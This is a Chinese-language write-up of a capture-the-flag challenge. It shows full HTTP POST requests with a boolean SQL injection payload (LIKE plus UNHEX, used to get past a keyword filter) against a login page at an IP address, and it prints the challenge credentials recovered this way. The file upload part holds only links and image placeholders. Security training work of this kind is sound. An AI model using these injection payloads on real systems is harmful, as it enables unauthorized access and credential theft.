补天沙龙CTF

补天沙龙CTF

SQL注入

HTML源码中有提示,需要SQL注入出账号密码。

1
2
3
4
5
6
<!--
$sql = "SELECT * FROM user WHERE id = 1 AND username = '$username'";
$query = $conn->query($sql);
if (mysqli_num_rows($query) == 0) {
echo "用户名不存在";
}

存在关键词过滤,无法直接使用sqlmap跑。

使用如下payload逐位注入出用户名与密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: 81.69.247.193
Content-Length: 71
Cache-Control: max-age=0
Origin: http://81.69.247.193
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://81.69.247.193/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=a'+or+username+like+UNHEX('73797361646d6925')+or+'0&password=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login.php HTTP/1.1
Host: 81.69.247.193
Content-Length: 77
Cache-Control: max-age=0
Origin: http://81.69.247.193
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://81.69.247.193/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=a'+or+password+like+UNHEX('62757469616e4030383225')+or+'0&password=1

获得账号为sysadmin,密码为butian@0827

文件上传

https://forum.butian.net/share/2399

image-20230828012212548

image-20230828012234156

image-20230828012311313

image-20230828012323825

源码

https://static-1256168285.cos.ap-chengdu.myqcloud.com/butian_ctf_0827.zip